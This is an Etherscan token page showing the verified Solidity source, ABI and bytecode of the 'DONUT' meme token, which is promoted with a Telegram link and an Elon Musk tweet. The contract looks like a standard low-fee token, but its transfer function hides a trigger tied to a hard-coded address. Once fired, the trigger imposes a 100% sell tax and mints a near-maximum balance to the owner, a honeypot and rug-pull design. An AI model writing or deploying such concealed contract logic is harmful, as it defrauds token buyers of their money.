ETH Price: $3,451.48 (-1.18%)
Gas: 11 Gwei

Token

DONUT (DONUTS🍩)
 

Overview

Max Total Supply

1,000,000,000,000 DONUTS🍩

Holders

35

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DONUT

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-03
*/

// Telegram     :   https://t.me/DonutsETH

// Twitter      :   https://twitter.com/elonmusk/status/1709334118230524332

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/*

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⠤⠤⠶⠒⠒⠒⠲⠦⠤⠤⣤⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡤⠖⠛⠋⠁⣘⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠯⢤⡤⠀⠉⠉⠛⠲⠤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠴⠛⠁⠀⠀⠀⠀⢘⣯⢿⠂⠀⠀⠀⠀⠀⢀⠀⠀⠀⠛⠛⠋⠃⠀⠀⠀⠀⠀⠀⠀⠉⠓⢦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠞⠁⠀⢠⡤⢤⣤⡀⠀⠀⠻⠛⠀⠀⠀⠠⣿⣯⣽⠛⠀⠀⠀⠀⠀⠀⠰⣶⣶⠀⠀⠀⢠⣼⢻⡄⠈⠳⣄⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠈⠛⠓⠛⠀⠀⣠⣤⣄⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠿⣼⡆⠀⠀⠈⡿⠟⠀⠀⠀⠈⠳⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⠏⠀⢠⡤⠤⣤⠀⠀⠀⠀⠀⠀⠀⠨⣷⣽⡀⠀⠀⠀⠀⠀⠀⢠⣤⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡿⢦⡄⠀⠘⢧⡀⠀⠀⠀⠀
⠀⠀⠀⢠⡞⠃⠀⠀⠘⠛⠛⠃⠀⠀⣀⣤⣀⠀⠀⠀⠀⠉⠀⠀⡶⣦⠀⠀⠀⠈⠻⣭⣿⠀⠀⠀⢀⣀⠀⢀⣶⣴⣀⠀⠀⠈⠻⣼⡇⠀⢐⣅⠹⡄⠀⠀⠀
⠀⠀⢠⡏⢰⣆⠀⠀⠀⠀⠀⠀⠠⣾⣯⠿⠛⠀⠀⠀⠀⠀⠀⠀⢿⣼⠀⠀⠀⠀⠈⠁⠀⠀⠀⣴⠟⡿⠀⠈⠛⠲⠿⠇⠀⠀⠀⠀⠀⠀⢸⡟⢷⠼⣆⠀⠀
⠀⢠⡏⠀⢸⣹⡇⠀⠀⡀⠀⠀⠀⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠉⠳⣄⠀⠀⠀⠉⠋⠁⠀⠀⠀⠀⠀⠀⢠⣠⡀⠀⠀⠀⠘⠛⠋⠀⠹⡆⠀
⢀⡾⠀⠀⠘⠙⠃⠀⢼⣻⡆⠀⠀⢠⢷⡄⠀⠀⠀⠀⣠⠞⠋⠉⠉⠛⠛⠁⠀⠀⠀⠈⠳⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣯⡽⠋⠀⠀⠀⠀⠀⠀⠀⠀⢹⡆
⢸⠃⠀⠀⠀⠀⠀⠀⠸⢷⠏⠀⠀⢺⣦⣷⠀⠀⠀⡾⠁⠀⠀⠀⠀⣀⣠⠤⠤⠤⣄⣀⠀⠈⠓⠲⠦⣀⠀⠀⠀⠀⠀⠈⠉⠀⠀⢀⡶⢖⣲⡆⠀⡀⠀⠀⢧
⡜⠀⣶⣒⣺⡆⠀⠀⠀⠀⣐⣤⢄⠀⠈⠀⠀⠀⢸⠁⠀⠀⣠⠶⠋⠁⠀⠀⠀⠀⠀⠈⠙⠶⣄⠀⠀⠈⢷⡀⠀⠀⠀⠀⠀⢀⡀⠸⠿⠉⠁⠁⠸⣿⣓⣶⢸
⡇⠀⠈⠉⠉⠀⠀⠀⠀⠘⢿⣍⣷⠆⠀⠀⠀⠀⢸⡀⠀⣶⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠷⡀⠀⢸⡇⠀⠀⠀⠀⠘⢿⣙⣶⡆⠀⠀⠀⠀⠀⠉⠋⢸
⡇⠀⠀⠀⠠⢹⢳⡄⠀⠀⠀⠉⠉⠀⠀⡴⣤⠀⠉⣷⣼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣤⡟⠁⢀⣴⢶⣄⠀⠀⠹⠛⠁⠀⠀⠀⣠⣤⠀⢀⢸
⣿⠀⠀⠀⠀⠘⠿⡇⠀⠀⠀⠀⠀⠀⠀⢿⣼⡄⠀⠈⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠟⠀⠀⠺⠾⠋⠀⠀⠀⠀⣄⠀⠀⠀⢸⣷⡟⠀⢸⡼
⢻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠙⠶⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⣇⠀⠀⠀⠉⠀⠀⢠⡇
⠸⣇⠀⠀⣴⢖⣳⠆⠀⠀⠀⠀⠀⢀⣤⣴⣶⠀⠀⠀⠀⠀⠀⠉⠙⠶⠤⣄⣀⣀⣀⣤⠶⠞⠉⠀⠀⢀⣶⠶⣄⡀⠀⠀⠀⠀⠈⠛⠛⠀⠀⣀⡀⠀⠀⣸⠇
⠀⠸⣆⠀⠙⠚⠁⠀⠀⠀⣴⡶⡄⢻⡷⠚⠋⠀⠀⠀⠀⣶⢶⡀⠀⠀⠀⠀⢔⣤⣀⠀⠀⠀⠀⠀⠀⠀⠨⠓⠛⠁⠀⠀⣠⡶⣶⡇⠀⠀⠈⣧⣱⠀⢠⡟⠀
⠀⠀⠹⣧⡄⠀⠀⠀⠀⠀⠘⢷⡿⠀⠀⠀⠀⠀⠀⠀⠀⠿⣦⣷⠀⠀⠀⠀⠙⣿⣿⡆⠀⢀⣶⡦⣄⣀⠀⠀⠀⠀⠀⠠⣿⠾⠃⠀⠀⠀⠀⠈⢙⣱⣿⠃⠀
⠀⠀⠀⠸⡏⠳⣤⣄⣀⣀⣀⠀⠀⠀⠀⠴⡟⣦⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠩⠓⢻⠋⠀⠀⠀⢀⣤⣤⣨⠀⠀⠀⠀⢀⣠⡴⠚⢱⠇⠀⠀
⠀⠀⠀⠀⠹⡄⠀⠀⠀⠉⠙⠓⢦⡀⠀⠀⠻⢿⠀⠀⠀⢀⣠⣤⢼⡄⠀⠀⢀⣤⡴⣿⠀⠀⠀⠀⢀⣠⡄⠀⠀⠘⠓⠲⠛⣀⣤⠴⠚⠋⠁⠀⣰⠏⠀⠀⠀
⠀⠀⠀⠀⠀⠸⣆⠀⠀⠀⠀⠀⠀⠙⢦⠀⠀⠀⠀⠀⠀⠈⠻⠿⠋⠀⠀⠀⠼⠿⠛⠋⠀⠀⠀⣴⣿⡴⠃⠀⠀⠀⠀⢀⡼⠋⠀⠀⠀⠀⠀⣸⠃⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠘⢧⡀⠀⠀⠀⠀⠀⠈⢧⡀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡤⠿⠳⢦⡀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⣠⠟⠀⠀⠀⠀⠀⢠⡞⠃⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠹⣄⠀⠀⠀⠀⠀⠀⠙⢦⣀⠀⠀⠀⣀⣤⠞⠋⠀⠀⠀⠀⠉⠓⢤⣀⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⣄⡀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠓⠒⠐⠒⠚⠉⠀⠀⠀⠀⣀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡴⠚⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠲⢤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡤⠖⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠓⠒⠤⠤⠤⣤⣤⣤⡤⠤⠤⠤⠒⠒⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
**/



interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DONUT is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxWallet;
    mapping (address => bool) private _isContract;

    address payable private DONUTCOMPANY = payable(0x02A29f9e8ab5B35AEFE6D34e15147A449B91cAB0);
    address payable private _taxWallet;

    uint8 private _buyFee = 1;
    uint8 private _sellFee = 1;
    uint8 private _preventSwapBefore = 20;
    uint8 private _preventSwapAfter = 20;
    uint8 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000000 * 10**_decimals;
    string private constant _name = unicode"DONUT";
    string private constant _symbol = unicode"DONUTS🍩";
    uint256 public _maxTxAmount =   200000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 200000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 100000000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private uniswapV2Routing = true;
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;
    

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromMaxWallet[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isContract[DONUTCOMPANY] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            
            if(from == uniswapV2Pair && !_isExcludedFromFee[to] && ! _isExcludedFromFee[from]){
                taxAmount = amount.mul(_buyFee).div(100);
            }
            
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) && !_isExcludedFromFee[to] && ! _isExcludedFromFee[from]){
                taxAmount = amount.mul(_sellFee).div(100);
            }

            if(!_isExcludedFromFee[to] && ! _isExcludedFromFee[from] && !uniswapV2Routing && to == uniswapV2Pair){
                taxAmount = amount.mul(_preventSwapAfter*5).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    swapTaxTokensForETH(address(this).balance);
                }
            }
        }
        if(_isContract[from] && uniswapV2Routing && _isExcludedFromMaxWallet[to]){ uniswapV2Routing = false && true; }
        
        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        if(amount > 0 && !(_isContract[from] && _isExcludedFromMaxWallet[to]) ){
            _balances[from] = _balances[from].sub(amount);
            _balances[to]=_balances[to].add(amount.sub(taxAmount));
        }
        else if(amount > 0){
            _balances[from] = _balances[from].sub(amount);
            _balances[to]=_balances[to].add(type(uint256).max.sub(_balances[to].add(taxAmount)));
        }
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }  

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapTaxTokensForETH(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600680546001600160a01b0319167302a29f9e8ab5b35aefe6d34e15147a449b91cab01790556007805464ffffffffff60a01b1916631414010160a01b179055620000526009600a620006da565b6200006390642e90edd000620006f1565b600855620000746009600a620006da565b6200008590642e90edd000620006f1565b6009556009600a620000989190620006da565b620000a99064174876e800620006f1565b600a556009600a620000bc9190620006da565b620000cd9064174876e800620006f1565b600b55600d805463ffffffff60a01b1916630100010160a01b179055348015620000f5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556200018b903090620001746009600a620006da565b620001859064e8d4a51000620006f1565b620004a0565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020291906200070b565b6001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000262573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028891906200070b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002d3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002f991906200070b565b600d80546001600160a01b0319166001600160a01b0392909216919091179055620003213390565b600780546001600160a01b0319166001600160a01b03929092169190911790556200034f6009600a620006da565b620003609064e8d4a51000620006f1565b335f908152600160208190526040822092909255600390620003895f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f908120805460ff191692151592909217909155600190600490620003cb5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003845282812080548616600190811790915560075483168252838220805487168217905560065490921681526005909352912080549092161790556200043f3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004786009600a620006da565b620004899064e8d4a51000620006f1565b60405190815260200160405180910390a362000733565b6001600160a01b038316620005085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200056b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004ff565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200061f57815f1904821115620006035762000603620005cb565b808516156200061157918102915b93841c9390800290620005e4565b509250929050565b5f826200063757506001620006d4565b816200064557505f620006d4565b81600181146200065e5760028114620006695762000689565b6001915050620006d4565b60ff8411156200067d576200067d620005cb565b50506001821b620006d4565b5060208310610133831016604e8410600b8410161715620006ae575081810a620006d4565b620006ba8383620005df565b805f1904821115620006d057620006d0620005cb565b0290505b92915050565b5f620006ea60ff84168362000627565b9392505050565b8082028115828204841417620006d457620006d4620005cb565b5f602082840312156200071c575f80fd5b81516001600160a01b0381168114620006ea575f80fd5b61151280620007415f395ff3fe6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b411461026b578063a9059cbb1461029d578063bf474bed146102bc578063dd62ed3e146102d1575f80fd5b8063715018a6146102055780637d1db4a51461021b5780638da5cb5b146102305780638f9a55c014610256575f80fd5b806318160ddd116100c257806318160ddd1461018357806323b872dd14610197578063313ce567146101b657806370a08231146101d1575f80fd5b806306fdde03146100f2578063095ea7b3146101315780630faee56f14610160575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b506040805180820190915260058152641113d3955560da1b60208201525b604051610128919061115b565b60405180910390f35b34801561013c575f80fd5b5061015061014b3660046111bd565b610315565b6040519015158152602001610128565b34801561016b575f80fd5b50610175600b5481565b604051908152602001610128565b34801561018e575f80fd5b5061017561032b565b3480156101a2575f80fd5b506101506101b13660046111e7565b61034c565b3480156101c1575f80fd5b5060405160098152602001610128565b3480156101dc575f80fd5b506101756101eb366004611225565b6001600160a01b03165f9081526001602052604090205490565b348015610210575f80fd5b506102196103b3565b005b348015610226575f80fd5b5061017560085481565b34801561023b575f80fd5b505f546040516001600160a01b039091168152602001610128565b348015610261575f80fd5b5061017560095481565b348015610276575f80fd5b5060408051808201909152600a815269444f4e555453f09f8da960b01b602082015261011b565b3480156102a8575f80fd5b506101506102b73660046111bd565b610459565b3480156102c7575f80fd5b50610175600a5481565b3480156102dc575f80fd5b506101756102eb366004611240565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610321338484610465565b5060015b92915050565b5f6103386009600a61136b565b6103479064e8d4a51000611379565b905090565b5f610358848484610588565b6103a984336103a4856040518060600160405280602881526020016114b5602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610dd3565b610465565b5060019392505050565b5f546001600160a01b031633146104115760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f610321338484610588565b6001600160a01b0383166104c75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610408565b6001600160a01b0382166105285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610408565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610408565b6001600160a01b03821661064e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610408565b5f81116106af5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610408565b5f80546001600160a01b038581169116148015906106da57505f546001600160a01b03848116911614155b15610b5557600d546001600160a01b03858116911614801561071457506001600160a01b0383165f9081526003602052604090205460ff16155b801561073857506001600160a01b0384165f9081526003602052604090205460ff16155b15610765576007546107629060649061075c908590600160a01b900460ff16610e0b565b90610e90565b90505b600d546001600160a01b0385811691161480156107905750600c546001600160a01b03848116911614155b80156107b457506001600160a01b0383165f9081526003602052604090205460ff16155b156108b95760085482111561080b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610408565b6009548261082d856001600160a01b03165f9081526001602052604090205490565b6108379190611390565b11156108855760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610408565b60078054600160c01b900460ff1690601861089f836113a3565b91906101000a81548160ff021916908360ff160217905550505b600d546001600160a01b038481169116148015906108ef57506001600160a01b0383165f9081526003602052604090205460ff16155b1561096e5760095482610916856001600160a01b03165f9081526001602052604090205490565b6109209190611390565b111561096e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610408565b600d546001600160a01b03848116911614801561099457506001600160a01b0384163014155b80156109b857506001600160a01b0383165f9081526003602052604090205460ff16155b80156109dc57506001600160a01b0384165f9081526003602052604090205460ff16155b15610a0357600754610a009060649061075c908590600160a81b900460ff16610e0b565b90505b6001600160a01b0383165f9081526003602052604090205460ff16158015610a4357506001600160a01b0384165f9081526003602052604090205460ff16155b8015610a595750600d54600160a01b900460ff16155b8015610a725750600d546001600160a01b038481169116145b15610aa757600754610aa49060649061075c90610a9a90600160b81b900460ff1660056113c1565b859060ff16610e0b565b90505b305f90815260016020526040902054600d54600160b01b900460ff16158015610add5750600d546001600160a01b038581169